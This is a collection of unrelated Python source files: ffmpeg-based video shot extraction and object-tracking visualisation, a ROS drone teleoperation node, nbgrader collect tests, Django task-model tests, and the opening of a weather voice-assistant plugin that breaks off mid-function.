import os
import subprocess
import tempfile
from pathlib import Path
from typing import List

import numpy as np
import pandas as pd
from matplotlib import pyplot as plt
from tqdm import tqdm

from metavideo import get_metagrid
from object_tracking_operations import (extract_masked_object_clips,
                                        extract_obj_gifs_parallel,
                                        extract_object_thumbs,
                                        interpolate_missing_data,
                                        merge_with_chromakey)
from utils import ensure_coords, ensure_dir, find_video_by_id, uniquify

def select_shots_by_entity(annotation_data: pd.DataFrame,
                           key: List[str], threshold=0.5,
                           search_categories=False,
                           padding_before=0,
                           padding_after=0):
    """
    Select shots by key entity
    :param annotation_data: dataframe with annotation data
    :param key: key entity to filter by
    :param threshold: minimum confidence score to consider
    :param search_categories: search in categories as well
    :param padding_before: amount of seconds to subtract from start time
    :param padding_after: amount of seconds to add to end time
    :return: dataframe with selected shots
    """
    if type(key) == str:
        key = [key]

    if search_categories and 'category' not in annotation_data.columns:
        raise KeyError("The dataframe has no 'category' column")
    if 'entity' not in annotation_data.columns:
        raise KeyError("The dataframe has no 'entity' column")
    elif all(k not in annotation_data['entity'].unique() for k in key):
        raise ValueError(f"Key entity {key} not found in dataframe")

    entity_shots = annotation_data[annotation_data['entity'].str.lower().isin(key)].reset_index(drop=True)

    if search_categories:
        category_shots = annotation_data[annotation_data['category'].str.lower().isin(key)].reset_index(drop=True)
        selected_shots = pd.concat([entity_shots, category_shots]).drop_duplicates(keep='first')
    else:
        selected_shots = entity_shots

    selected_shots = selected_shots[selected_shots['confidence'] >= threshold].reset_index(drop=True)

    if padding_before:
        selected_shots['start_sec'] -= padding_before
        selected_shots['start_sec'] = selected_shots['start_sec'].apply(lambda x: max(x, 0))

    if padding_after:
        end_time = entity_shots['end_sec'].max()
        selected_shots['end_sec'] += padding_after
        selected_shots['end_sec'] = selected_shots['end_sec'].apply(lambda x: max(x, end_time))

    return selected_shots

def select_shots_by_keyword(annotation_data: pd.DataFrame,
                            key: List[str],
                            threshold=0.5,
                            padding_before=5,
                            padding_after=3):
    key = [key.lower()] if type(key) == str else [k.lower() for k in key]
    if 'word' not in annotation_data.columns:
        raise KeyError("The dataframe has no 'word' column")
    elif all(k not in annotation_data['word'].unique() for k in key):
        raise ValueError(f"Keyword {key} not found in dataframe")

    selected_shots = annotation_data[annotation_data['word'].str.lower().str.replace(r'[^\w\s]+', '').isin(key)]
    selected_shots = selected_shots[selected_shots['confidence'] >= threshold]
    selected_shots = add_padding_shots(annotation_data, padding_after, padding_before, selected_shots)
    selected_shots = selected_shots.drop_duplicates(keep='first')
    selected_shots = selected_shots.sort_index()
    selected_shots = selected_shots.reset_index(drop=True)

    starts = selected_shots['start_sec'].tolist()
    ends = selected_shots['end_sec'].tolist()

    selected_shots = merge_consecutive(selected_shots)

    return selected_shots

def select_shots_by_consecutive_words(annotation_data: pd.DataFrame,
                                      key: List[str]):
    key = [k.lower().strip() for k in key] if isinstance(key, list) else [k.lower().strip() for k in key.split(',')]
    annotation_data['word'] = annotation_data['word'].str.lower().str.replace(r'[^\w\s]+', '').str.strip()
    selected_shots = pd.DataFrame()
    indexes = annotation_data[annotation_data['word'].isin(key)].index.values

    # for each index in indexes, get the following n indexes, where n is the length of the key
    for i in indexes:
        following_indexes = [i + j for j in range(len(key))]
        # check that the 'word' column of the first row in the following_indexes list matches the first word in the key
        # that the second row in the following_indexes list matches the second word in the key, etc.
        if all(annotation_data.iloc[m]['word'] == key[n] for n, m in enumerate(following_indexes)):
            # if all the words in the key match the words in the following_indexes list, append a new row to the
            # selected_shots dataframe with the start and end times of the first and last rows in the following_indexes
            # list, and the words in the key
            selected_shots = selected_shots.append({
                'id': annotation_data.iloc[following_indexes[0]]['id'],
                'word': ' '.join(key),
                'start_sec': annotation_data.iloc[following_indexes[0]]['start_sec'],
                'end_sec': annotation_data.iloc[following_indexes[-1]]['end_sec'],
                'id0': following_indexes[0],
                'id1': following_indexes[-1]
            }, ignore_index=True)

            # selected_shots = selected_shots.append(annotation_data.iloc[following_indexes])

    # remove duplicates and sort by index
    selected_shots = selected_shots.drop_duplicates(keep='first')
    selected_shots = selected_shots.sort_index()
    return selected_shots

def merge_consecutive(selected_shots):
    prev_len = len(selected_shots)
    while True:
        for i, row in selected_shots.iterrows():
            if i < len(selected_shots) - 1:
                current_end = float(row['end_sec'])
                next_start = float(selected_shots.iloc[i + 1]['start_sec'])
                if 0 <= next_start - current_end <= 2:
                    selected_shots.loc[i, "end_sec"] = selected_shots.iloc[i + 1]["end_sec"]
                    selected_shots.loc[i, "word"] = selected_shots.iloc[i]["word"] + " " + selected_shots.iloc[i + 1][
                        "word"]
                    selected_shots = selected_shots.drop(i + 1)
                    selected_shots = selected_shots.reset_index(drop=True)
        current_len = len(selected_shots)
        print("current_len: ", current_len, end="\r")
        if current_len < prev_len:
            prev_len = current_len
        else:
            break
    return selected_shots

def add_padding_shots(annotation_data, padding_after, padding_before, selected_shots):
    for n, shot in selected_shots.iterrows():
        if n == 0:
            continue
        for i in range(1, padding_before + 1):
            if n - i < 0:
                break
            current_start = int(shot['start_sec'])
            previous_end = int(annotation_data.iloc[n - i]['end_sec'])
            if current_start - previous_end <= 2:
                selected_shots = selected_shots.append(annotation_data.iloc[n - i])
            else:
                break
        for i in range(1, padding_after + 1):
            if n + i > len(annotation_data):
                break
            current_end = int(shot['end_sec'])
            next_start = int(annotation_data.iloc[n + i]['start_sec'])
            diff = next_start - current_end
            if next_start - current_end <= 2:
                selected_shots = selected_shots.append(annotation_data.iloc[n + i])
            else:
                break
    return selected_shots

def add_padding_to_consecutive_keywords(annotation_data, padding_after, padding_before, selected_shots):
    for n, shot in selected_shots.iterrows():
        if n == 0:
            continue
        for i in range(1, padding_before + 1):
            if n - i < 0:
                break
            current_start = int(shot['start_sec'])
            previous_end = int(annotation_data.iloc[shot['id0'] - i]['end_sec'])
            if current_start - previous_end <= 2:
                selected_shots = selected_shots.append(annotation_data.iloc[shot['id0'] - i])
            else:
                break
        for i in range(1, padding_after + 1):
            if n + i > len(annotation_data):
                break
            current_end = int(shot['end_sec'])
            next_start = int(annotation_data.iloc[shot['id1'] + i]['start_sec'])
            diff = next_start - current_end
            if next_start - current_end <= 2:
                selected_shots = selected_shots.append(annotation_data.iloc[shot['id1'] + i])
            else:
                break
        print(selected_shots)
    return selected_shots

def extract_shots(_df: pd.DataFrame, in_dir: Path, out_dir: Path, text: str = False):
    """
    :param text:
    :param out_dir:
    :param in_dir:
    :param _df: DataFrame with data on which shots to extract
    :return: None
    """
    df = _df.sort_values(by=['id', 'start_sec'])
    out_dir.mkdir(parents=True, exist_ok=True)

    for index, row in tqdm(df.iterrows(), total=df.shape[0], desc='Extracting shots'):
        entity = row[text] if text else row[0]
        video_id = row['id']
        filename = Path(in_dir, find_video_by_id(row['id'], in_dir))
        start = "%.2f" % row['start_sec']
        end = "%.2f" % row['end_sec']
        if start == end:
            continue
        in_path = filename.resolve().as_posix()
        out_path = uniquify(os.path.join(out_dir.as_posix(), f"{video_id}.mp4"))
        command = ["ffmpeg"]
        options = ["-i", in_path, "-ss", start, "-to", end, "-y", "-movflags",
                   "faststart", "-avoid_negative_ts", "1", "-acodec", "copy", out_path]

        if text:
            text_filter = ["drawtext=", "fontfile=Inter-Regular.ttf:", f"text='{entity}':",
                           "fontcolor=white:", "fontsize=24:", "box=1:", "boxcolor=black@0.5:", "boxborderw=5:",
                           "x=(w-text_w)/2:", "y=24"]
            filter_args = "".join(text_filter)
            options.insert(6, "-vf")
            options.insert(7, filter_args)

        args = command + options
        operation = subprocess.run(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if operation.returncode != 0:
            print(operation.stderr)
            raise RuntimeError("Ué uagliù è succiesso nu guaio mentre stev tagliann e' video, liv 'a miezz "
                               "'stderr=subprocess.DEVNULL' e vir nu poc ch'è succiess")

# TODO add threading and hardware acceleration because this can get pretty long and boring
def merge_shots(in_dir: Path, out_dir: Path):
    """
    Merge shots into one video
    :param selected_shots_path: path to selected shots
    :return: None
    """
    out_dir.mkdir(parents=True, exist_ok=True)
    files = [file.as_posix() for file in in_dir.glob('*.mp4')]
    # select only files have an audio and a video stream
    files = [file for file in files if len(subprocess.run(
        ["ffprobe", "-v", "error", "-select_streams", "a:0", "-show_entries", "stream=codec_type", "-of",
         "default=noprint_wrappers=1:nokey=1", file],
        stdout=subprocess.PIPE).stdout.decode('utf-8').splitlines()) > 0 and len(subprocess.run(
        ["ffprobe", "-v", "error", "-select_streams", "v:0", "-show_entries", "stream=codec_type", "-of",
         "default=noprint_wrappers=1:nokey=1", file],
        stdout=subprocess.PIPE).stdout.decode('utf-8').splitlines()) > 0]
    files.sort()

    out_path = uniquify(Path(out_dir, 'merged.mp4').as_posix())
    command = ["ffmpeg"]
    input_files = [["-i", file] for file in files]
    input_files = [item for sublist in input_files for item in sublist]
    streams = [f"[{i}:v][{i}:a]" for i in range(len(files))]
    concat = [f"concat=n={len(files)}:v=1:a=1[v][a]"]
    mapper = ['-map', '[v]', '-map', '[a]']
    sync = ["-vsync", "2", '-threads', '0']
    options = input_files + ["-filter_complex"] + [f"{''.join(streams + concat)}"] + mapper + sync + [out_path]
    args = command + options
    print(args)
    operation = subprocess.run(args, stdout=subprocess.DEVNULL)

def agnostic_merge(video_dir, output_dir):
    output_directory = ensure_dir(output_dir)
    files = [os.path.join(video_dir, file) for file in os.listdir(video_dir) if file.endswith('.mp4')]
    out_path = uniquify(os.path.join(output_directory, 'merged.mp4'))
    command = ["ffmpeg"]
    input_files = [["-i", file] for file in files]
    input_files = [item for sublist in input_files for item in sublist]
    aspect_ratio_handler = [
        f'[{i}]scale=1280:720:force_original_aspect_ratio=decrease,pad=1280:720:(ow-iw)/2:(oh-ih)/2,setsar=1[v{i}];' for
        i in range(len(files))]
    streams = [f'[v{i}][{i}:a:0]' for i in range(len(files))]
    concat = [f"concat=n={len(files)}:v=1:a=1[v][a]"]
    mapper = ['-map', '[v]', '-map', '[a]']
    sync = ["-vsync", "2"]
    options = input_files + ["-filter_complex"] + [
        f"{''.join(aspect_ratio_handler + streams + concat)}"] + mapper + sync + [out_path]
    args = command + options
    subprocess.run(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def render_heatmap(out_dir: Path, data: pd.DataFrame, key: list, **kwargs) -> None:
    """
    :param data: DataFrame with data to plot
    :param out_dir: folder where to save the heatmap
    :keyword resolution: tuple(width, height)
    :return: None
    """
    print(data)

    data = data[data['object_name'].isin(key)]
    print(data)
    res = (1920, 1080) if kwargs.get('resolution') is None else kwargs.get('resolution')
    data.fillna(0, inplace=True)

    img = np.zeros((res[1], res[0], 4), dtype=np.uint)
    for _, row in data.iterrows():
        left, top, right, bottom = ensure_coords(row['left'], row['top'], row['right'], row['bottom'])
        img[int(top * res[1]):int(bottom * res[1]), int(left * res[0]):int(right * res[0]), 0:3] += 1
    img = img / img.max()
    img[0:res[1], 0:res[0], 3] = 1

    from scipy.ndimage.filters import gaussian_filter
    img = gaussian_filter(img, sigma=5)

    from matplotlib.colors import LinearSegmentedColormap
    cmap = LinearSegmentedColormap.from_list("", ["blue", "red"])
    video_id, object_name = data['id'].iat[0], data['object_name'].iat[0]
    out_path = out_dir / f"{video_id}_{object_name}.png"
    plt.imshow(img, cmap=cmap)
    plt.imsave(uniquify(out_path.as_posix()), img, cmap=cmap)

def berensham(x1, y1, x2, y2):
    dx = abs(x2 - x1)
    dy = abs(y2 - y1)
    sx = 1 if x1 < x2 else -1
    sy = 1 if y1 < y2 else -1
    err = dx - dy
    while True:
        yield x1, y1
        if x1 == x2 and y1 == y2:
            break
        e2 = 2 * err
        if e2 > -dy:
            err -= dy
            x1 += sx
        if e2 < dx:
            err += dx
            y1 += sy

def render_traces(out_dir: Path, data: pd.DataFrame, key: list, **kwargs) -> None:
    """
    :param data: DataFrame with data to plot
    :param out_dir: folder where to save the traces
    :keyword resolution: tuple(width, height)
    :return: None
    """
    print(list(data))
    data = data[data['object_name'].isin(key)]
    res = (1920, 1080) if kwargs.get('resolution') is None else kwargs.get('resolution')
    data.fillna(0, inplace=True)
    img = np.zeros((res[1], res[0], 4), dtype=np.uint)

    # we need to cluster data by obj_id in order to follow the same object troughout the video
    data = data.groupby('object_id').apply(lambda x: x.sort_values('time_seconds'))

    # since centroids's positions are not guaranteed to be continuous, we need tro draw a line from point 'n' to point 'n+1'
    # we will use Bresenham's line algorithm to do so
    for _, group in data.groupby('object_id'):
        for i in range(len(group)-1):
            left, top, right, bottom = ensure_coords(group['left'].iloc[i], group['top'].iloc[i], group['right'].iloc[i], group['bottom'].iloc[i])
            centroid = (int((left + right) / 2 * res[0]), int((top + bottom) / 2 * res[1]))
            n_left, n_top, n_right, n_bottom = ensure_coords(group['left'].iloc[i+1], group['top'].iloc[i+1], group['right'].iloc[i+1], group['bottom'].iloc[i+1])
            next_centroid = (int((n_left + n_right) / 2 * res[0]), int((n_top + n_bottom) / 2 * res[1]))
            for x, y in berensham(centroid[0], centroid[1], next_centroid[0], next_centroid[1]):
                img[(y-5):(y+5), (x-5):(x), 0:3] += 1

    img = img / img.max()
    img[0:res[1], 0:res[0], 3] = 1

    video_id, object_name = data['id'].iat[0], data['object_name'].iat[0]
    out_path = out_dir / f"{video_id}_{object_name}.png"
    plt.imsave(uniquify(out_path.as_posix()), img)
    print(f"Rendered trace for {video_id} {object_name}")
    return None

def extract_object_thumbnails(in_dir: Path, out_dir: Path, data: pd.DataFrame, key: list) -> None:
    """
    Given a video and a dataframe with object tracking annotations extracts thumbnails of selected the objects
    :rtype: None
    :param key: name of the object to extract
    :param in_dir: directory where the source video is stored
    :param out_dir: directory where to save the thumbnails
    :param data: dataframe with object tracking annotations
    :return: None
    """
    data = data[data['object_name'].isin(key)]
    data = interpolate_missing_data(data)
    extract_object_thumbs(in_dir, out_dir, data)
    return None

def extract_object_gifs(in_dir: Path, out_dir: Path, data: pd.DataFrame, key: list) -> None:
    """
    Given a video and a dataframe with object tracking annotations extracts gifs of selected the objects
    :rtype: None
    :param key: name of the object to extract
    :param in_dir: directory where the source video is stored
    :param out_dir: directory where to save the thumbnails
    :param data: dataframe with object tracking annotations
    :return: None
    """
    data = data[data['object_name'].isin(key)]
    data = interpolate_missing_data(data)
    extract_obj_gifs_parallel(in_dir, out_dir, data)
    return None

def extract_masked_clips(in_dir: Path, out_dir: Path, data: pd.DataFrame, key: list) -> None:
    """
    Given a video and a dataframe with object tracking annotations extracts clips of selected the objects
    :param key: name of the object to extract
    :param in_dir: directory where the source video is stored
    :param out_dir: directory where to save the clips
    :param data: dataframe with object tracking annotations
    :return: None
    """
    data = data[data['object_name'].isin(key)]
    data = interpolate_missing_data(data)
    extract_masked_object_clips(in_dir, out_dir, data)

def extract_object_metavideo(in_dir: Path, out_dir: Path, data: pd.DataFrame, key: list) -> None:
    """
    Given a video and a dataframe with object tracking annotations extracts clips of selected the objects
    :param key: name of the object to extract
    :param in_dir: directory where the source video is stored
    :param out_dir: directory where to save the clips
    :param data: dataframe with object tracking annotations
    :return: None
    """
    data = data[data['object_name'].isin(key)]
    data = interpolate_missing_data(data)
    temp_dir = tempfile.TemporaryDirectory()
    extract_masked_object_clips(in_dir, Path(temp_dir.name), data, color=(0, 255, 0, 0))
    merge_with_chromakey(Path(temp_dir.name), out_dir)

def extract_object_metagrid(in_dir: Path, out_dir: Path, data: pd.DataFrame, key: list) -> None:
    """
    Given a video and a dataframe with object tracking annotations extracts clips of selected the objects
    :param key: name of the object to extract
    :param in_dir: directory where the source video is stored
    :param out_dir: directory where to save the clips
    :param data: dataframe with object tracking annotations
    :return: None
    """
    data = data[data['object_name'].isin(key)]
    data = interpolate_missing_data(data)
    temp_dir = tempfile.TemporaryDirectory()
    extract_object_thumbs(in_dir, Path(temp_dir.name), data)
    get_metagrid(Path(temp_dir.name), out_dir)


#! /usr/bin/env python
# -*- coding: utf-8 -*-

import curses
import math
import rospy
import sys
import dynamic_reconfigure.server
from std_msgs.msg           import String
from std_msgs.msg           import Empty
from geometry_msgs.msg      import Twist
from demo_teleop.cfg        import SafeDroneTeleopConfig

class Status:
    def __init__(self):
        self.status     = "landed" # "landing" "taking off" "automatic flight" "manual flight"
        self.last_time  = rospy.Time()
        self.last_input = rospy.Time()
        self.twist      = Twist()
        self.in_twist   = Twist()
        self.state_wait    = 3.0 # transition between states (taking_off, landing, etc..)
        self.watchdog_time = .25 # input crash security delay (no input twist => stop)
        self.linear     = 0.1 # initial value
        self.angular    = 0.5 # initial value
        self.delay      = 2.0 # initial value
        self.status_pub = rospy.Publisher ('status', String, queue_size=1)
        self.r_pub      = rospy.Publisher ('reset', Empty, queue_size=1)
        self.t_pub      = rospy.Publisher ('takeoff', Empty, queue_size=1)
        self.l_pub      = rospy.Publisher ('land', Empty, queue_size=1)
        self.twist_pub  = rospy.Publisher ('cmd_vel_out', Twist, queue_size=1)
        self.twist_sub  = rospy.Subscriber('cmd_vel_in',  Twist, self.on_twist,  queue_size = 1)
        self.config_srv = dynamic_reconfigure.server.Server(SafeDroneTeleopConfig, self.on_reconf)

    def on_reconf(self, config, level):
        self.angular = config['angular']
        self.linear  = config['linear']
        self.delay   = config['delay']
        return config

    def on_twist(self, ros_data):
        self.in_twist = ros_data
        self.last_input = rospy.Time.now()

    def send_twist(self):
        if self.status == "manual flight":
            self.twist_pub.publish(self.twist)
        elif self.status == "automatic flight":
            time = rospy.Time.now()
            if(time - self.last_input).to_sec() > self.watchdog_time :
                self.in_twist   = Twist()
            self.twist_pub.publish(self.in_twist)

    def take_off(self):
        if self.status == "landed" :
            self.twist     = Twist()
            self.status    = "taking off"
            self.status_pub.publish(self.status)
            self.r_pub.publish(Empty())
            rospy.sleep(1.)
            self.t_pub.publish(Empty())
            self.last_time = rospy.Time.now()

    def land(self):
        self.last_time = rospy.Time.now()
        self.twist     = Twist()
        self.status    = "landing"
        self.l_pub.publish(Empty())

    def nop(self):
        if self.status == "manual flight" :
            time = rospy.Time.now()
            if (time - self.last_time).to_sec() > self.delay :
                self.status = "automatic flight"
        elif self.status == "taking off":
            time = rospy.Time.now()
            if (time - self.last_time).to_sec() > self.state_wait :
                self.status = "manual flight"
                self.last_time = time
                self.twist = Twist()
        elif self.status == "landing":
            time = rospy.Time.now()
            if (time - self.last_time).to_sec() > self.state_wait :
                self.status = "landed"
        self.status_pub.publish(self.status)
        self.send_twist()

    def key_pressed(self):
        self.last_time = rospy.Time.now()
        if self.status != "manual flight":
            self.twist = Twist()
        if self.status == "automatic flight" :
            self.status = "manual flight"
        self.send_twist()

def main(stdscr):
    xlevel  = 0
    ylevel  = 0
    zlevel  = 0
    alevel  = 0
    rospy.init_node('safe_drone_teleop', anonymous=True)
    log_pub = rospy.Publisher ('log', String, queue_size=1)
    rate = rospy.Rate(10)
    keycode = -1
    status = Status()
    stdscr.addstr("Safe drone controller\n")
    stdscr.addstr("---------------------\n")
    stdscr.addstr("\n")
    stdscr.addstr("Command\n")
    stdscr.addstr(" - UP/DOWN      : control linear x\n")
    stdscr.addstr(" - LEFT/RIGHT   : control linear y\n")
    stdscr.addstr(" - e/r          : control angular z\n")
    stdscr.addstr(" - t/l          : take off / land\n")
    stdscr.addstr(" - PAGE UP/DOWN : elevation control\n")
    stdscr.addstr(" - any key      : reset of the twist\n")
    # We set the "wait for a key press" period to 100 ms.
    stdscr.timeout(100)
    while (not rospy.is_shutdown()):
        keycode = stdscr.getch()         # Wait for a key press for at most 100ms
        if   keycode == -1 :
            status.nop() # No key has been pressed, we keep current twist.
        elif keycode == curses.KEY_UP :
            status.key_pressed()
            if xlevel == -1 :
                status.twist.linear.x  = 0
                xlevel = 0
            elif xlevel == 0:
                status.twist.linear.x  = status.linear
                xlevel = 1
        elif keycode == curses.KEY_DOWN :
            status.key_pressed()
            if xlevel == 0 :
                status.twist.linear.x  = -status.linear
                xlevel = -1
            elif xlevel == 1:
                status.twist.linear.x  = 0
                xlevel = 0
        elif keycode == curses.KEY_LEFT :
            status.key_pressed()
            if ylevel == -1 :
                status.twist.linear.y  = 0
                ylevel = 0
            elif ylevel == 0:
                status.twist.linear.y  = status.linear
                ylevel = 1
        elif keycode == curses.KEY_RIGHT :
            status.key_pressed()
            if ylevel == 0 :
                status.twist.linear.y  = -status.linear
                ylevel = -1
            elif ylevel == 1:
                status.twist.linear.y  = 0
                ylevel = 0
        elif keycode == curses.KEY_PPAGE :
            status.key_pressed()
            if zlevel == -1 :
                status.twist.linear.z  = 0
                zlevel = 0
            elif zlevel == 0:
                status.twist.linear.z  = status.linear
                zlevel = 1
        elif keycode == curses.KEY_NPAGE :
            status.key_pressed()
            if zlevel == 1 :
                status.twist.linear.z  = 0
                zlevel = 0
            elif zlevel == 0:
                status.twist.linear.z  = -status.linear
                zlevel = -1
        elif keycode == 101 : # e
            status.key_pressed()
            if alevel == -1 :
                status.twist.angular.z  = 0
                alevel = 0
            elif alevel == 0:
                status.twist.angular.z  = status.angular
                alevel = 1
        elif keycode == 114 : # r
            status.key_pressed()
            if alevel == 0 :
                status.twist.angular.z  = -status.angular
                alevel = -1
            elif alevel == 1:
                status.twist.angular.z  = 0
                alevel = 0
        elif keycode == 116 : # t
            status.take_off()
            xlevel = 0
            ylevel = 0
            zlevel  = 0
            alevel  = 0
        elif keycode == 108 : # l
            status.land()
            xlevel = 0
            ylevel = 0
            zlevel  = 0
            alevel  = 0
        else :
            status.key_pressed()
            status.twist = Twist()
            xlevel = 0
            ylevel = 0
            zlevel  = 0
            alevel  = 0
        if status.status == "automatic flight" :
            xlevel = 0
            ylevel = 0
            zlevel  = 0
            alevel  = 0
            status.twist = Twist()

# Starts curses (terminal handling) and run our main function.
if __name__ == '__main__':
    try:
        curses.wrapper(lambda w: main(w))
    except rospy.ROSInterruptException:
        pass


import datetime
import os
import time
import pytest

from os.path import join

from .. import run_nbgrader
from .base import BaseTestApp
from .conftest import notwindows
from ...api import Gradebook
from ...utils import parse_utc, get_username

@notwindows
class TestNbGraderCollect(BaseTestApp):

    def _release_and_fetch(self, assignment, exchange, course_dir):
        self._copy_file(os.path.join("files", "test.ipynb"), os.path.join(course_dir, "release", "ps1", "p1.ipynb"))
        run_nbgrader([
            "release_assignment", assignment,
            "--course", "abc101",
            "--Exchange.root={}".format(exchange)
        ])
        run_nbgrader([
            "fetch_assignment", assignment,
            "--course", "abc101",
            "--Exchange.root={}".format(exchange)
        ])

    def _submit(self, assignment, exchange, cache, flags=None):
        cmd = [
            "submit", assignment,
            "--course", "abc101",
            "--Exchange.cache={}".format(cache),
            "--Exchange.root={}".format(exchange)
        ]

        if flags is not None:
            cmd.extend(flags)
        run_nbgrader(cmd)

    def _collect(self, assignment, exchange, flags=None, retcode=0):
        cmd = [
            "collect", assignment,
            "--course", "abc101",
            "--Exchange.root={}".format(exchange)
        ]

        if flags is not None:
            cmd.extend(flags)

        return run_nbgrader(cmd, retcode=retcode)

    def _read_timestamp(self, root):
        with open(os.path.os.path.join(root, "timestamp.txt"), "r") as fh:
            timestamp = parse_utc(fh.read())
        return timestamp

    def test_help(self):
        """Does the help display without error?"""
        run_nbgrader(["collect", "--help-all"])

    def test_no_course_id(self, exchange, course_dir, cache):
        """Does releasing without a course id thrown an error?"""
        self._release_and_fetch("ps1", exchange, course_dir)
        self._submit("ps1", exchange, cache)
        cmd = [
            "collect", "ps1",
            "--Exchange.root={}".format(exchange)
        ]
        run_nbgrader(cmd, retcode=1)

    def test_collect(self, exchange, course_dir, cache):
        self._release_and_fetch("ps1", exchange, course_dir)

        # try to collect when there"s nothing to collect
        self._collect("ps1", exchange)
        root = os.path.os.path.join(os.path.join(course_dir, "submitted", get_username(), "ps1"))
        assert not os.path.isdir(os.path.join(course_dir, "submitted"))

        # submit something
        self._submit("ps1", exchange, cache)
        time.sleep(1)

        # try to collect it
        self._collect("ps1", exchange)
        assert os.path.isfile(os.path.os.path.join(root, "p1.ipynb"))
        assert os.path.isfile(os.path.os.path.join(root, "timestamp.txt"))
        timestamp = self._read_timestamp(root)

        # try to collect it again
        self._collect("ps1", exchange)
        assert self._read_timestamp(root) == timestamp

        # submit again
        self._submit("ps1", exchange, cache)

        # collect again
        self._collect("ps1", exchange)
        assert self._read_timestamp(root) == timestamp

        # collect again with --update
        self._collect("ps1", exchange, ["--update"])
        assert self._read_timestamp(root) != timestamp

    def test_collect_assignment_flag(self, exchange, course_dir, cache):
        self._release_and_fetch("ps1", exchange, course_dir)
        self._submit("ps1", exchange, cache)

        # try to collect when there"s nothing to collect
        self._collect("--assignment=ps1", exchange)
        root = os.path.os.path.join(os.path.join(course_dir, "submitted", get_username(), "ps1"))
        assert os.path.isfile(os.path.os.path.join(root, "p1.ipynb"))
        assert os.path.isfile(os.path.os.path.join(root, "timestamp.txt"))

    def test_collect_subdirectories(self, exchange, course_dir, cache):
        self._release_and_fetch("ps1", exchange, course_dir)

        # create a subdirectory with an empty file
        os.makedirs(os.path.join('ps1', 'foo'))
        with open(os.path.join('ps1', 'foo', 'temp.txt'), 'w') as fh:
            fh.write("")

        self._submit("ps1", exchange, cache)

        # make sure collect succeeds
        self._collect("ps1", exchange)

    def test_owner_check(self, exchange, course_dir, cache):
        self._release_and_fetch("ps1", exchange, course_dir)
        self._submit("ps1", exchange, cache, flags=["--student=foobar_student",])

        # By default, a warning is raised if the student id does not match the directory owner
        out = self._collect("--assignment=ps1", exchange)
        assert 'WARNING' in out

        # This warning can be disabled
        out = self._collect("--assignment=ps1", exchange, flags=["--ExchangeCollect.check_owner=False"])
        assert 'WARNING' not in out

    @notwindows
    @pytest.mark.parametrize("groupshared", [False, True])
    def test_permissions(self, exchange, course_dir, cache, groupshared):
        if groupshared:
            with open("nbgrader_config.py", "a") as fh:
                fh.write("""c.CourseDirectory.groupshared = True\n""")
        self._release_and_fetch("ps1", exchange, course_dir)
        self._submit("ps1", exchange, cache, flags=["--student=foobar_student",])

        # By default, a warning is raised if the student id does not match the directory owner
        self._collect("--assignment=ps1", exchange)
        assert self._get_permissions(join(exchange, "abc101", "inbound")) == ("2733" if not groupshared else "2773")
        assert self._get_permissions(join(course_dir, "submitted", "foobar_student", "ps1")) == ("777" if not groupshared else "2777")
        assert self._get_permissions(join(course_dir, "submitted", "foobar_student", "ps1", "p1.ipynb")) == ("644" if not groupshared else "664")

    @pytest.mark.parametrize('before_duedate',
                              ['yes', 'no', 'nofirst'])
    def test_collect_before_due_date(self, exchange, course_dir, cache, db, before_duedate):
        """Test --before-duedate flag.

        Test is parameterized so we test both with it and without the flag.

        'yes': test with --before-duedate
        'no': test without
        'nofirst': test with --before-duedate but no assignment before duedate

        """
        # Release assignment
        self._release_and_fetch("ps1", exchange, course_dir)

        # Submit something, wait, submit again.  Due date is between.
        if before_duedate != 'nofirst':
            # We don't submit first assignment.
            self._submit("ps1", exchange, cache)
            time.sleep(.05)
        time_duedate = datetime.datetime.utcnow()
        time.sleep(.05)
        self._submit("ps1", exchange, cache)

        # Set the due date
        with Gradebook(db) as gb:
            gb.update_or_create_assignment('ps1', duedate=time_duedate)

        # Collect
        flags = ['--db', db]
        if before_duedate != 'no':
            flags.append('--before-duedate')
        self._collect("ps1", exchange, flags=flags)

        root = os.path.os.path.join(os.path.join(course_dir, "submitted", get_username(), "ps1"))
        timestamp = self._read_timestamp(root)
        # Test both ways: with --before-duedate flag and without
        if before_duedate == 'yes':
            assert timestamp < time_duedate
        else: # 'no', 'nofirst'
            assert timestamp > time_duedate


from django.test import TestCase
from django.urls import reverse
from .models import Tarefa

class TarefaTestCase(TestCase):
    def setUp(self):
        self.tarefa1 = Tarefa.objects.create(titulo='Tarefa 1', texto='Texto da tarefa 1')
        self.tarefa2 = Tarefa.objects.create(titulo='Tarefa 2', texto='Texto da tarefa 2')

    def test_criar_tarefa(self):
        # Fazer uma requisição POST para criar uma nova tarefa
        response = self.client.post(reverse('criar_tarefa'), {'titulo': 'Nova Tarefa', 'texto': 'Texto da nova tarefa'})
        # Verificar se a tarefa foi criada no banco de dados
        self.assertTrue(Tarefa.objects.filter(titulo='Nova Tarefa', texto='Texto da nova tarefa').exists())
        # Verificar se a tarefa criada está sendo exibida na página de listagem de tarefas
        response = self.client.get(reverse('criar_tarefa'))
        self.assertContains(response, 'Nova Tarefa')

    def test_excluir_tarefa(self):
        # Verificar se a tarefa 1 existe antes da exclusão
        self.assertTrue(Tarefa.objects.filter(id=self.tarefa1.id).exists())
        # Fazer uma requisição POST para excluir a tarefa 1
        response = self.client.post(reverse('excluir_tarefa', args=[self.tarefa1.id]))
        # Verificar se a resposta é um redirecionamento para a página de criação de tarefas
        self.assertRedirects(response, reverse('criar_tarefa'))
        # Verificar se a tarefa 1 foi removida do banco de dados
        self.assertFalse(Tarefa.objects.filter(id=self.tarefa1.id).exists())
        # Verificar se a tarefa 2 ainda existe
        self.assertTrue(Tarefa.objects.filter(id=self.tarefa2.id).exists())


# -*- coding: utf-8-*-
import re
import requests
import os
from client.plugins.utilities import jasperpath

WORDS = ["WEATHER"]

def findWholeWord(w):
    return re.compile(r'\b({0})\b'.format(w), flags=re.IGNORECASE).search

def handle(text, mic, speaker, profile, visionProcess):
    """
        Responds to user-input, typically speech text, by relaying the
        meaning of life.

        Arguments:
        text -- user-input, typically transcribed speech
        mic -- used to interact with the user (for both input and output)
        profile -- contains information related to the user (e.g., phone
                   number)
    """
    #message = "Hold on, checking the weather for you..."
    # mic.say(message)

    location_name = "Bangalore"

    if re.search('(?<=TODAY)(.*)', text):
        weather_for = 'today'
    elif re.search('(?<=TOMORROW)(.*)', text):
        weather_for = 'tomorrow'
    elif re.search('(?<=THIS WEEK)(.*)', text):
        weather_for = 'this_week'
    elif re.search('(?<=NEXT WEEK)(.*)', text):
        weather_for = 'next_week'
    else:
        weather_for = 'today'

    if re.search('(?<=IN)(.*)', text, re.IGNORECASE):
